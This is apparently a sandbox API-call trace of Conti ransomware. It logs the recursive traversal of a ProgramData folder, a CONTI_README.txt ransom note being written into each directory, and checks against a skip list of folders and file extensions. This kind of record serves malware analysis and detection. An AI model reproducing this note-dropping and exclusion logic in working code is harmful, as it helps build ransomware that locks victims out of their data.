	[0105.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\"
	[0105.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\CONTI_README.txt"
	[0105.462] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\identitycrl\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0105.462] GetProcessHeap () returned 0x1720000
	[0105.462] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740640 | out: hHeap=0x1720000) returned 1
	[0105.462] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0105.463] CloseHandle (hObject=0x30c) returned 1
	[0105.463] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c80b0
	[0105.463] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.463] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.463] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.463] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.463] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b30d09, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b30d09, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.463] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.463] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.463] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.463] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.463] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="INT", cAlternateFileName="")) returned 1
	[0105.463] lstrcmpiW (lpString1="INT", lpString2=".") returned 1
	[0105.463] lstrcmpiW (lpString1="INT", lpString2="..") returned 1
	[0105.463] lstrcmpiW (lpString1="INT", lpString2="tmp") returned -1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="winnt") returned -1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="Application Data") returned 1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="AppData") returned 1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="temp") returned -1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="thumb") returned -1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="$Recycle.Bin") returned 1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="$RECYCLE.BIN") returned 1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="System Volume Information") returned -1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="Program Files") returned -1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="Program Files (x86)") returned -1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="Boot") returned 1
	[0105.464] lstrcmpiW (lpString1="INT", lpString2="Windows") returned -1
	[0105.464] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL") returned 36
	[0105.464] lstrlenW (lpString="INT") returned 3
	[0105.464] GetProcessHeap () returned 0x1720000
	[0105.464] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x52) returned 0x17c13e8
	[0105.464] lstrcpyW (in: lpString1=0x17c13e8, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
	[0105.464] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\"
	[0105.464] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="INT" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT"
	[0105.464] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT") returned 40
	[0105.464] GetProcessHeap () returned 0x1720000
	[0105.464] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c1388
	[0105.464] lstrcpyW (in: lpString1=0x17c1388, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT"
	[0105.464] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\*") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\*"
	[0105.464] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT") returned 40
	[0105.464] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.464] GetProcessHeap () returned 0x1720000
	[0105.464] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17e4058
	[0105.464] lstrcpyW (in: lpString1=0x17e4058, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT"
	[0105.464] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\"
	[0105.464] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\CONTI_README.txt"
	[0105.464] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\identitycrl\\int\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.465] GetProcessHeap () returned 0x1720000
	[0105.465] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e4058 | out: hHeap=0x1720000) returned 1
	[0105.465] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.465] CloseHandle (hObject=0x38c) returned 1
	[0105.466] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85f0
	[0105.466] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.466] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.466] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.466] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.466] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b30d09, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b30d09, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b30d09, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.466] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.466] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.466] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.466] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.466] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1
	[0105.466] lstrcmpiW (lpString1="ppcrlconfig600.dll", lpString2=".") returned 1
	[0105.467] lstrcmpiW (lpString1="ppcrlconfig600.dll", lpString2="..") returned 1
	[0105.467] StrStrIW (lpFirst="ppcrlconfig600.dll", lpSrch=".CONTI") returned 0x0
	[0105.467] StrStrIW (lpFirst="ppcrlconfig600.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0105.467] StrStrIW (lpFirst="ppcrlconfig600.dll", lpSrch=".exe") returned 0x0
	[0105.467] StrStrIW (lpFirst="ppcrlconfig600.dll", lpSrch=".dll") returned=".dll"
	[0105.467] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 0
	[0105.467] GetProcessHeap () returned 0x1720000
	[0105.467] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1388 | out: hHeap=0x1720000) returned 1
	[0105.467] FindClose (in: hFindFile=0x17c85f0 | out: hFindFile=0x17c85f0) returned 1
	[0105.467] GetProcessHeap () returned 0x1720000
	[0105.467] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c13e8 | out: hHeap=0x1720000) returned 1
	[0105.467] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1
	[0105.467] lstrcmpiW (lpString1="production", lpString2=".") returned 1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="..") returned 1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="tmp") returned -1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="winnt") returned -1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="Application Data") returned 1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="AppData") returned 1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="temp") returned -1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="thumb") returned -1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="$Recycle.Bin") returned 1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="$RECYCLE.BIN") returned 1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="System Volume Information") returned -1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="Program Files") returned -1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="Program Files (x86)") returned -1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="Boot") returned 1
	[0105.467] lstrcmpiW (lpString1="production", lpString2="Windows") returned -1
	[0105.467] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL") returned 36
	[0105.467] lstrlenW (lpString="production") returned 10
	[0105.467] GetProcessHeap () returned 0x1720000
	[0105.467] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x60) returned 0x17c0d30
	[0105.467] lstrcpyW (in: lpString1=0x17c0d30, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
	[0105.467] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\"
	[0105.468] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="production" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production"
	[0105.468] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL\\production") returned 47
	[0105.468] GetProcessHeap () returned 0x1720000
	[0105.468] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x17410d0
	[0105.468] lstrcpyW (in: lpString1=0x17410d0, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL\\production" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production"
	[0105.468] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\*") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\*"
	[0105.468] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL\\production") returned 47
	[0105.468] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.468] GetProcessHeap () returned 0x1720000
	[0105.468] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x82) returned 0x17c8c80
	[0105.468] lstrcpyW (in: lpString1=0x17c8c80, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL\\production" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production"
	[0105.468] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\"
	[0105.468] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\CONTI_README.txt"
	[0105.468] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.469] GetProcessHeap () returned 0x1720000
	[0105.469] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8c80 | out: hHeap=0x1720000) returned 1
	[0105.469] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.469] CloseHandle (hObject=0x38c) returned 1
	[0105.470] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8330
	[0105.470] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.470] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.470] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.470] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.470] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b56fe9, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b56fe9, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.470] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.470] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.470] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.470] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.470] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97ce8d28, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x60e0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1
	[0105.470] lstrcmpiW (lpString1="ppcrlconfig600.dll", lpString2=".") returned 1
	[0105.470] lstrcmpiW (lpString1="ppcrlconfig600.dll", lpString2="..") returned 1
	[0105.470] StrStrIW (lpFirst="ppcrlconfig600.dll", lpSrch=".CONTI") returned 0x0
	[0105.470] StrStrIW (lpFirst="ppcrlconfig600.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0105.470] StrStrIW (lpFirst="ppcrlconfig600.dll", lpSrch=".exe") returned 0x0
	[0105.470] StrStrIW (lpFirst="ppcrlconfig600.dll", lpSrch=".dll") returned=".dll"
	[0105.470] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="temp", cAlternateFileName="")) returned 1
	[0105.470] lstrcmpiW (lpString1="temp", lpString2=".") returned 1
	[0105.470] lstrcmpiW (lpString1="temp", lpString2="..") returned 1
	[0105.470] lstrcmpiW (lpString1="temp", lpString2="tmp") returned -1
	[0105.470] lstrcmpiW (lpString1="temp", lpString2="winnt") returned -1
	[0105.470] lstrcmpiW (lpString1="temp", lpString2="Application Data") returned 1
	[0105.470] lstrcmpiW (lpString1="temp", lpString2="AppData") returned 1
	[0105.470] lstrcmpiW (lpString1="temp", lpString2="temp") returned 0
	[0105.470] StrStrIW (lpFirst="temp", lpSrch=".CONTI") returned 0x0
	[0105.470] StrStrIW (lpFirst="temp", lpSrch="CONTI_README.txt") returned 0x0
	[0105.470] StrStrIW (lpFirst="temp", lpSrch=".exe") returned 0x0
	[0105.470] StrStrIW (lpFirst="temp", lpSrch=".dll") returned 0x0
	[0105.470] StrStrIW (lpFirst="temp", lpSrch=".lnk") returned 0x0
	[0105.470] StrStrIW (lpFirst="temp", lpSrch=".sys") returned 0x0
	[0105.470] StrStrIW (lpFirst="temp", lpSrch=".CONTI") returned 0x0
	[0105.471] StrStrIW (lpFirst="temp", lpSrch="CONTI_README.txt") returned 0x0
	[0105.471] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL\\production") returned 47
	[0105.471] lstrlenW (lpString="temp") returned 4
	[0105.471] GetProcessHeap () returned 0x1720000
	[0105.471] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x17405c8
	[0105.471] lstrcpyW (in: lpString1=0x17405c8, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL\\production" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production"
	[0105.471] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\"
	[0105.471] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\", lpString2="temp" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp"
	[0105.471] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="temp", cAlternateFileName="")) returned 0
	[0105.471] GetProcessHeap () returned 0x1720000
	[0105.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17410d0 | out: hHeap=0x1720000) returned 1
	[0105.471] FindClose (in: hFindFile=0x17c8330 | out: hFindFile=0x17c8330) returned 1
	[0105.471] GetProcessHeap () returned 0x1720000
	[0105.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0d30 | out: hHeap=0x1720000) returned 1
	[0105.471] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0
	[0105.471] GetProcessHeap () returned 0x1720000
	[0105.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bef18 | out: hHeap=0x1720000) returned 1
	[0105.471] FindClose (in: hFindFile=0x17c80b0 | out: hFindFile=0x17c80b0) returned 1
	[0105.471] GetProcessHeap () returned 0x1720000
